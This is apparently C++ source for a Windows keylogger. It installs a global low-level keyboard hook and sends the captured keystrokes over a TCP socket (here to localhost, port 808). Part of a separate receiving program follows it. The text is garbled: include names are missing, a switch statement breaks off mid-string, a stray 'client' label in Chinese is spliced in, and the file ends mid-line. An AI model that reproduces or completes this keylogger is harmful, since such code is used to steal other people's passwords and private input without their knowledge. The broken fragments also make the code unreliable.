// rkl.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "rkl.h"
#include
#include
SOCKET kSock;
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam);
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
WSAData wsdata;
WORD wsver=MAKEWORD(2, 0);
int nret=WSAStartup(wsver, &wsdata);
if(nret != 0)
{
MessageBoxA(0,"Error 0","Error",MB_OK);
WSACleanup();
return -1;
}
kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET)
{
MessageBoxA(0,"Error 1","Error",MB_OK);
return -1;
}
sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=inet_addr("127.0.0.1");
sin.sin_family=AF_INET;
if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{
MessageBoxA(0,"Error 2","Error",MB_OK);
WSACleanup();
return -1;
}
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
char buf1[256];
char* buf = buf1;
buf = "Test";
send(kSock,buf,sizeof(buf),0);
MessageBoxA(0,"Press ok to stop logging.","Waiting...",MB_OK);
closesocket(kSock);
return 0;
}
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
if (wParam == WM_KEYDOWN) {
char* buf;
char tl[256];
buf = tl;
buf = itoa(p->vkCode,buf,10);
int tmp;
tmp = atoi(buf);
if(tmp != 0)
{
switch (tmp) {
case VK_BACK: buf = ""; break;
case VK_TAB: buf = ""; break;
case VK_CLEAR: buf = ""; break;
case VK_RETURN: buf = ""; break;
case VK_SHIFT: buf = ""; break;
case VK_CONTROL: buf = ""; break;
case VK_MENU: buf = ""; break;
case VK_PAUSE: buf = ""; break;
case VK_CAPITAL: buf = ""; break;
case VK_ESCAPE: buf = ""; break;
case VK_SPACE: buf = ""; break;
case VK_PRIOR: buf = ""; break;
case VK_NEXT: buf = ""; break;
case VK_END: buf = ""; break;
case VK_HOME: buf = ""; break;
case VK_LEFT: buf = ""; break;
case VK_UP: buf = ""; break;
case VK_RIGHT: buf = ""; break;
case VK_DOWN: buf = ""; break;
case VK_SELECT: buf = "
客户:
// lkv.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include
#include
int main()
{
WSAData wsdata;
WORD wsver=MAKEWORD(2, 0);
int nret=WSAStartup(wsver, &wsdata);
if(nret != 0){
std::cout<<"Startup failed, error code: "<